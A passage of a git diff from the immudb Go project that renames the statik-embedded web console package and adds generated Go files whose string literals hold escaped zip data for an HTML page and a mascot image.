M\xd8\x8fQ\xe7\xff\x02Y\"N\xdfokk\xd3?\n2\x19\xc2U\xe8=(\xc4\nG\x8fl\x19Y\xfc\x98\xefTp[E!\xf4\x8ee\nt\xffQ\x9f\xb0\x95\x1bR\x83q\xbe=\xdd\xdcE[\x89i\x03\xdd\x8a+\x94\x12\xff\xca\xa9\x0c\x10\x1d\xc6\xcfC\xc1N\x18\xc2\xd8\x1f:\xa9\xc0R\xf0\xe1\x9d\xfa\xd5\xe5\x87J\"`r\xdc\xc7\n2\x8c\xc2\x88u\xccw+l\xe5\x014\xc1N\x1fY\n\xb0\xf3\xcc\x1d\x06un{\x16\xa2\xf9\xd6\xd3B\x03uF\xb1\xc7\x1eV\xb6'!\xac/;.8\xac\xf2\xf4\x0dk\x067\x1b=~=\x10\xe6\xac\x01MQ\xebY\x9b\x9f\n\xe2$\x1883\xab`Y\xeaA\xb8\xa8\xac\xe8\xc6|\xff\x8a]\x9a\x08\xce\x82\x9c{\xa4\xa2\xe3\xc2\xd2\x10\x7f\xbb\xbf\x8a\xd9xR\xbc\xec\xf3\x92]h\xe1P\xfd\x8eT5~\xfe\xd3\x0d\xdf|\xd0O6\xbb\xef\xe9\xc9\xb7\xc8\x1f\x8f\x96d\x19\x88.\xe89i\xfd.\x91\xbc.w\xf8\xfd\xa4\xf3\xe3\xc2\xa8\x84\xedaN\xf0\xe1\xe8\x0f\x15F\x05\xf2\x9c[\x7fxR\x10\xad\xcc\x9d\x91k\xaf$\x01\xa2\xfb\x9dW&\xfad\xe5\x0cc\xbf\xe5aK\xb7\\\x9c\xaa\xf3+\xe77\x0e&\xa7\xfd\xe1\x0d\x1d\x17=\x05\xb2[\xb5\xfa\xf3\x13\xdcr\xc3=\x15]\xb4n\xbc\xba\xa3 \xb8F\xe4oLVEU\x886Qo\xc0UH\xb01\xe2N~\xe1\xf7\x08{\xd8q\x1b\xb2?\xe3\x89\x14'\x9c\xaa\x86\x1dZ\\\xbcn\x94\xd9\xdd\xfd\xee\xb2\x98\x87=\xf1\xd542\x8a\x1e\x1fG@ww\x15\xff]s\x87\xd5%\xea\x06\xe9!\xe4\x90at$ \xae\xe2{\xc1]=\xda\xacXa\x8fa\x10\xb7\x89\"\xb1o\xab\x14\xe6c\x1a\xdco\x1b\xc0VR\xc0\"\x0f\xfc\xb3E\x1d\xdeSPO\x0d\xd6-\xe6{\xd02\xb0\xdf`\x01eUS\x87\x9bL\xf7\xe4*k\xaf\x17^\xf2\x07\xf5\x9d2S\xc7\x96\x8a\xecl|\xbb\xfa\xa4\x1d!\xbd&\x04jg\xd8\x80\xf6\xc5\xc4b\x1b\xc9\xf0\x95k\x96\x04\xe6{7\x14\x87\xc3x\xb2\xde\x05\xea\xd8\x95\x0d\xafg\xbf\x1as\x89\xff=\xfd\"N\xc5\xe1)F<\xca\x82\xe53\x11\"\x16\x88\x143m\xa8a4Y})**2\x85\x13F^2\xecQ\xc8MM\xc4\xac\xa0\x14R\xa8;\xd8\xb6\xb8\x87O\x16\xbb*\x0f\xec\xf7\xeb\x87m\xe9o=\xb5\xce%\xfe\xaa\x81\xf8\xd2\xf0\x0b|YT\x84m\x9d\x18\x93\x95q\x0d)\x0evP\x1c\xf21wH\xd5\xdf\x8bk\xb6\x14DvM\xf4j\xfc\x12n\xc9}>\xc0\xd1\xfdeE\x00\x1c\xc6b\xf1\xc6Vy\xc9pl\x9f\xa7\xe0B\xf8\x06P\xda\xd5\xe2\"\x8f$|n\x1b:\xb84Uh9o\",\x0be\xfe\xb6\xa6\xcaH\x87\xfb \xd6cd\xc7\xce\xe7\xfdQP\x1d\xf6\xec\x1a\x93\\\xa1dw\x13\xfa\xb4l\xf2\xd1\xa1\x8c\xd0\xbeZr'\xd8q\x0d\x98{\xc17\xdd\xd3\x10\x1fn\xe8\x95\xa0\x1at\xba\xb2?\xd5\x1f*\xf9\xfa\xc6\xd0\xf1\x05\xcb7\xf9MU\x88\x8d40G\x9cD\xb9l\xfe\xf6i=\x93\x02\x1bwN\xaen)\xf0\xad\xd6\xe8\xb9\xa2z\x0c\x97\xd6?\xd7\xa5\x13\xeag\x88\xbe\xb6\xf9\\\x8e\xf6\xd2\xac\x84\x83\x93\x95\xf5\x85\x8do\x97\x070\"\xcb\x84?\x9b\xd9\xfb\xfbr\xc4\x11\x9c\x18\xea\xa2\x15\x04\x0dG\xd4\\\xc6\xfb? \x0fh\xe1\xdbo\xcb]\x97\x06\xba\x0c\xeb9\xe6\x8e\x7f\xde\xc4\xc7\x0e\xa9\xa8\xb1\x82\xcc\xf4\xc1`\xc0\xafrc\xf9\xb6\x8e\xeb\xea|-7}\x0f\xd1\x08%_\xb7V\x8b\xdeS\xed\x8e\xb0 \xb8\xb2\xfb\x92J{z\x8f#\x0d\xc0\x81r\xf3E\xf2\xe5\xa4\xb7\xdcV\xd2\x12.T\xed\x05EQ\xcf\xf1\x8c\\;u\x8b\x1a\x94\x84\x8b\x85Kw\xdaq\xcbu\xdf\x7f\xc5\xf6\x18c\xefx\x1b\xf8\xaf\x80\xe9\x93\xc6\xcb\x9c\xf0(\x90\x94\xd4*W\xc4\xbf\xa0\x1a\xd4A.l/\xd5\xa9})A[\xd8\\\xad\xbdkn\x9d\x88~ 9\xde5\xc6\xdf\x1b\x96\xfc\xcd\xeb\xdb-\x9eF\xe5\x8a\xd7\xec\xcar\xb5\xdf\x8e}a\xa1\xb5 (\xecg9]=\x8c*W\x9c8t\x96\xe4\x836\x03\xe1\xc7g\xfb\xeb\x9d\xc2\xbd\xcf\xe3i%\xc0r\xd8Tn\x00\xe5\xc7\xdf\xb9\xfa\xfb\x95\x9d\x82\xe0\\\xe6/\xd5\x98\xa1\"\x8b\x05\xfa\xcc\x00\x02\x96\x14\xe4e\xc2\x05*\x0d\xe2K\x12\xf4\xe9u\xa4\xc8\x88\xaeg\xa1w\x80Z\xc1\xcb<\x0c\xd0\xc0\xfc\x1dE\xd6\xde\xc1s\xc32c\x0b\x1c\x88-\xbb\x8f\xe5\xe4\x7f\xbb\x07\xac\x9f\x0b\xed\xc5?+z\x97N\xa7O\xf0\xc8\xaa\x10\x87\xf5\xb90y\xef\xfc\x87\xa8Q\xaf\xa4[\xe3\xe4\x91d\x97Nf\xa4\xf1\xa5\x08\\\xc7\x95\x05\xf6\x02\x81k\xf7\x08\xe8\xdbc9X\xe0\x91\x13#X\xc4U\x04nd\xaco\xb1\xe8 un\x8f\xd3\x12.a\x1b\xc4\xc2k\n\xd2XY^\x0cU\x1a\x151\xf0x8\xd16#\x18\x18\xd5}\x85\x0f\x9d\xbdtT7\xccT\xcf[x\xccQ\xa3\x95\xa5\xf7\xdc\x16\xcc\xc5b\xee\x13.C\xcd\xf0\x9a=\xbe\xf9\x8d\xdb'wZ\x8bNy3\xbe\x11\xe5\xa0P\xe1MX\x82\x9b\xe3\xdc\x1e\xd7f\xd7wn#FBD\xfb\x0f\xafF\xf7\xd3\xe5dd\xb2\xb4n\x14\x05\xf8\x9f\"\x7f\x1a]L\xf2\x95\xa0\x04\xd7\x01\xc1\x166\x00 \x83\xbe\xc69\x19\xa8\x14\x027\x12\xfe~\x1f\xc0\xec\x93\xf4I\xe5?}\xc4\xd53\x00%ij\x9c\xd3\x01\n\xe72M\xcf\xe6-8C>\x05%-\xa4\xf7/\xf8\xb7\xc2\xce~A\x80$z\x9a\x1d1P\x8c\xe0\xcd\xe5I\xcem\xd4\xe3\x18\x8b\"~\xb0k\xda w]\x0c\xfd\xfer?\x0f\xf0>\xe0\xf1A\xd1\xc8CC\xa4\xf4\x05\xa4\x81SI5\xd3\x11\xe7\n\xb1\xe6\x80C9\xe8\xae\x9bZ\x16\x8c\x9e#\xf9\x83{>\xad\x85\x080V\\\x9b\x962z+\xe6}}\x0f\xa0\x04o'V\xa6\n<\x7f\xa6\xea=\x0e\x08\x8c\xffn(\xcdX\x1b\",Z\x1a(\x92\x1f\xf2\x18jY\x0e\xf2f\xdd\x1e/\x90\xe3F ,J\x9a\xad8\x9a\xa1\x8a\x11}o\x88\xca\xfb\xa4\"\x0e \x04\x87\xcc\x02\xeei\x06oE\xf2C\xae=Qc\xdf\x13\xcd\xa0\xb3\xbe\xbe\xd1\x93\xef\x18{\x16k\x90f\xea\xa9\x15\x18\x11\xca-~\x9c\x1e;J\x1a\x0dO\x17T%\xea\x0d\xec\xc6\xe6\x93\xe5\xb6\xad\xdf\xc5\xdd\xedR\xe5\xd4gn\xb2\xea\xb9\xa5\xaf\\\x17\x7f\xc7T\xa2{.R\x1c\xaf\xfb\x85\xd2\xe4\xe7\xacx\xbc\xe2\x04i\x80j+\xfaK\x1e-s\xc0\xc8\x87\x0dC\x86\x92by^t,\xa6\xad\xf0\xd8Z\xf1?\xf9I)\x1b\xe5sV\x05A\xe8\xe4\xbc\x0c\xcc\xd4\x9c\xb2\xb8\xd4\xca!\x90.t\xa0\xdd\x9b\xce~\x89\x91\x16\x85\x9f#D\xfa\x04\x92\xa6fm\xe5\xf1\x86\xfd\x81I\xe7\x9b+\xfa\xfbuN\xee4\xc4eV;\xcd\x88*\xb46\xf4N\x96\xb7\x8eD\xfa\xc81.\xab\xb1\x1f+\xf3=X\xe4\x8c\xffL\xf2~F]\xd1\xe3\x15\x18EV\xd0\x08\xc0wA\x19{\xf4\xd9Z\xd6\xcc\xd0\x0b^\xa1\xf7\xe5^\xbe.\xd4\x0c\xf2\xb9m\x92\x97\x83\x9b\x993#&T\xb8\xa0.\x89\xff\xf2\xfe\xb9\x0e\xa0\x88\x96\xebHb\xbf8\xcb\x923\xb8\x8aO\x17\xeb\xc9\x81\xc8\x1e\xab\xf1?\x8f4\x06\x0d\xaf\x16\xd7yzi2\x0d\x90x_\xd0\xe3\x83@\xa6C\xfe\xf2\xa6\xd2\xa2\xdaR2:\xc5M\x86\xcb\xe2\xbd\x0e\x99\x86$r\xce\xed\x0d\x83:A\xf4\x93t\xb3\xac[\xaf]\xbe\x0e\xd7Z\xf3/\xe4\xe8\xd7\xc8kJ^y5]D\x11\xf8D@\xda:\x18\xc9\x8d\xb5\x97\x07u\xf58\xb75H\xcaq\x1aQ,A\xc4\xf8\x0e`\x17~\xd3\xe2\x8c\x91D\xcc\x81\x1b\xe5\xcc\xd6!\xc6\xcc\xfe\xe4\xf5\x8a\x98\xc4\xcdz\xa4\x83J\x11\x9a\xee%\xc01\x92`\xd0\xe2_P2\x11\x9b\xd5\x93d\x046\x9f\x91\x97x$\x0b\x9e\xbc\xa5\x02\xc7V'\xaf\xe1-\xa1\xd6\x92\xbf\\\xd9\xcb\x9aS\xd5\x15TKT\x8e\xc8\xed=$\xac\x8a\x1fn\xd6\x85H\xfd\xf5k\xb2\x9f\x91\"\xd9\xa3i\x94\xd2\xf4\x8e\xf0i\"\x0d+e\xcb\x94\xdf\xdc.\xcc\xd6\xec\xd4u\xbc\xc6\xaa-l\xd1\xe8\x89\xa9H\xaf\x96\x11\x02\xd6\x81\xa1\xc5\xe4\x19\x93\xdf@i\x02\x8b\x1b\xb8\xca\xfe\np\x1a\xb79{\xbf$\xd6\xda\xec\xb7\xe0\x9e\x87u\xa7`\xb1\xe2#\xa2\x88i\x05>\xee\x0cN\x96\xefw\x04\xbcW\x97\xb2Z\xf3\xa2\x19\x9au\x1aT\xee\xf3\xb1>\xbe7E\x02\xd6\xef\xc0\x9er\xf6\xc26\xf38}\xe7[\xaf\xaf?\xc9/\xc6\xed\x87\x03\x04\x0f\xe5my\xd7s\xa7\xaa\xad2q%j\nI\xcf1\xff\x04\xb3m\xcf\xb8\xc8\x1f \x94\xd2-p\xec\xf4me\x02\xc4vxhys?\xa7\"\xb7\xbc\xd4\xc2\x82\x89\xdc\xf0\x13\xb5U\xb9\n\xfc\xb3)\xb0\x9b\xca\x1b\xf3\x7f8\xc9Y~\xa6\\\xd4\xe2 h\xf0\xdc\xeda\x0b\xf1\x02\xf1\xbd\xe1e\x8a\x020sM\xbc\xf3\xfa\xba\x9e\xbf\xe8Gg+\xf3\x9b\x99\xea\xd9\xbc\x00\x16]\x8b\xc8\xae\xb3ZU8:<\xbey\\\x98\x88\xf9\\\xbcPR\x1e*\x93O\xcb\xf1>\x9dR\xda6\x0e&P3\xe3!T\x0d%\x1ct*\xe8\xfd\xdc\x07\xc3\xed\xf2\x05\x99q\xb2\xb6'\xefT\xd7e\xa4\xcd\x94$\xe0-&a\xfe\x0b\xf5\xec4\x108\x0ec\x0d\xe5IP\xc3%\xd5\xbaU\xc8\x8c\xd4\xd3\x8e=\x9f\xef\xef\x96\xae\x8eA\x99\xc2\xd4\x8e\x1e\x15\xb2\xb8\xc5\x06.\xdam \xe9~\xc7\xe2\xae\x12 \xc3:}@\xf2\xa2p\xf9\xa0\x96\xf1\x19\xf0\xf3f:\xd1\xed\x1b\xf6q\xfe\x10\xf6$2\xd2\xa537\xd6\x19p-#\xc7\x05;.\xb6H\xa8,J\xcb\xbdZ\xb45%\xf1\x16W\xfd\xf5-\x95W\x86\x11ii\x8f\xdcP\xe5T\xe1\xefB^\xae\xf7\xd6E\xf7\x84/\xdb\xea\x8bg\x1c\x99D\x88>\x89 _\xbc\x1c\n\x91\xad\xb1zfRt\xbf/\xeb\xb0\xbc\xa7\x80\xa0\x12!b\xeb\x81\x97\x8b\xe9\xb8i\xd4h\x0b~\xe6\xeb\\\n3\xc1V\x8e\xe7\xb3;(\x08\x9f\\\xa6\x9b#\"\x98\xa2L\xff/\x05,\xf9\xaf\x0b\x1f\xd4\xa7 \xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00snUV\x8d}\xce\x0b\x17\x02\x00\x00\x1b\x04\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00index.htmlUT\x05\x00\x01j\xcc\xf4cPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00bkUV{\x86\x02V\x89p\x00\x00\x99p\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81X\x02\x00\x00mascot.pngUT\x05\x00\x01\xa9\xc6\xf4cPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x82\x00\x00\x00\"s\x00\x00\x00\x00" + fs.Register(data) + } + \ No newline at end of file diff --git a/webconsole/webconsole.go b/webconsole/webconsole.go index 6c948021f6..92a1f5f384 100644 --- a/webconsole/webconsole.go +++ b/webconsole/webconsole.go @@ -3,14 +3,14 @@ package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsole -dest=. -tags=webconsole +//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsoleembedded -dest=. -tags=webconsole import ( "github.com/codenotary/immudb/pkg/logger" "github.com/rakyll/statik/fs" "net/http" - _ "github.com/codenotary/immudb/webconsole/webconsole" + _ "github.com/codenotary/immudb/webconsole/webconsoleembedded" ) var statikFS, err = fs.New() diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index dc5cc19b81..dc885ced21 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -3,13 +3,13 @@ package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsole -dest=. -tags=!webconsole +//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsoleembedded -dest=. -tags=!webconsole import ( "net/http" "github.com/codenotary/immudb/pkg/logger" - _ "github.com/codenotary/immudb/webconsole/webconsole" + _ "github.com/codenotary/immudb/webconsole/webconsoleembedded" "github.com/rakyll/statik/fs" ) diff --git a/webconsole/webconsoleembedded/statik.go b/webconsole/webconsoleembedded/statik.go new file mode 100644 index 0000000000..9815169100 --- /dev/null +++ b/webconsole/webconsoleembedded/statik.go @@ -0,0 +1,16 @@ +// Code generated by statik. DO NOT EDIT. + +// +build !webconsole + +package webconsoleembedded + +import ( + "github.com/rakyll/statik/fs" +) + + +func init() { + data := "PK\x03\x04\x14\x00\x08\x00\x08\x00\x99\x92OV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/index.htmlUT\x05\x00\x01\x82\"\xedc\x94T\xdfk\xdb0\x10~\xef_q\xd3(\xb4\x10GI PR\xdb\x0fk\xfb0\x18[\xd9\x0fX\x1f\xcf\xf2\xd9\x16\x93u\x9etn\x16\xc6\xfe\xf7\xe1\xdai\x12\xd6\x0d\xf6\x12)\x9f\xee\xfbN\x9f\xee\xc3\xe9\xab\xdb\x0f7\x9f\x1f\xee\xef\xa0\x91\xd6\xe5g\xe9\xb0\x80C_g\x8a\xbc\xca\xcf\x00\xd2\x86\xb0\x1c6\x00\xa9Xq\x94\xbfg\xd8Ra\xd8Gv\x94\xea\x11\x1c\x0bZ\x12\x84F\xa4K\xe8{o\x1f3u\x83\xa6\xa1\xe4\x86\xbd\x04v\n\x0c{!/\x99\xf2\x9c\x98\xe1h\x06\x9e\x93(\x1ch\x06m\x1f% \xf4\x88\xce\x96(\xa4@\xffM\xf5>`\xdd\xe2\x0br\xff\xe0\xdc\xfd\xe8l\xa0xDZ\x1c\xaa\xa3\xec\xf6\x1e\x00\n.w\xf0s\xfa\x03P\xa0\xf9V\x07\xee}\x99\x18v\x1c6\xf0z\xb5\\\xadV\xe6\xfa\xb9\xa4b/I\x85\xadu\xbb\x0d|\xe4\x82\x85g\x10\xd1\xc7$R\xb0\xd5\xa1p\x12\x08uq\xb1\xbcZ\xcf`\xffs\xb9/\xf95\xad8\x03\xdc<\xdah\x85\xca\xa3\xbb\x9c(\xac\x06\xee\xf2j\x06\xab\xe5\xe2\x0f\x81\xf9`\x13\xad\xa7pB\x07\xe88Z\xb1\xec7\x80Ed\xd7\x0b]\x9f\x9c\x0bw\x1bX/\xceOQG\x95\xbc\x00K@\x1f+\x0e\xedf\xdc:\x14\xfaz\x91\xac\x17\xe7\x97\x07\xe0a\x04\x0e\xcc\xf1\x8e\xa9>z\xf5)Z\xb6m\xfb\xb28\xcaT\xaa\xf7\xf1K\x9f\xc6b\x1c\xc6\x98\xa9gsj\xa2\xdb\xb6\x86\xad-\xa5\xc9\xd4r\xbdP\x10\x83\xc9T\x8b\xd1\xb0\xcc;_+@'\x99\x1a\xe5a\xc4\xd5~\xf8\xdd\xd4\x16\xb6\x18\xa1\xe8\xad\x13\xd8Zi\xb8\x97!\xe70\x05\x1db\xdfu\x1cd\x9e\xea\xee\x99\xf8\x89\x08R\x84&P\x95\xa9!mq\xa3um\xa5\xe9\x8b\xb9\xe1V\x1b.\xc9\xb3`\xd8\xe9\xb1\x87.\x1c\x17\xba\xc5(\x14\xf4\x9b/o\xdf\xdd\xce\xdbR\xe5\x0d\x05J5\xe6Pq\x00\xeb\xa3\x84\xde\x0cC\x8a3\xe0\x00%o\xbdc,\x01\xfd\x7fv\x0b\xe4\x08#E\x95sUYc\xd1=\x19,\x87^{#\xa9\x1e^6?K\xf5\xf8\x0d\xf8\x1d\x00\x00\xff\xffPK\x07\x08\n\x06\xc6F\x0f\x02\x00\x00\x14\x04\x00\x00PK\x03\x04\x14\x00\x08\x00\x08\x00\x99\x92OV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/mascot.pngUT\x05\x00\x01\x82\"\xedc\x9c\xda\xf5?\x1c\x0e\xc0\xc0\xf1\xd3\xc7\xd4\x9dn\xee\xf4Ww\x8d\xc3\xe9\xce\xe9\xe9\x98\xee\x18S\x87\xd3}b\x86i\xa6\xbb\xa6\xa7'\x86\xe9\xce\xa9i\xb6\x89\xe7\xf5\xfc\xf0\xfc\x03\xcf\xe7/\xf8\xfc\x01\xefXmM%\x02=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f 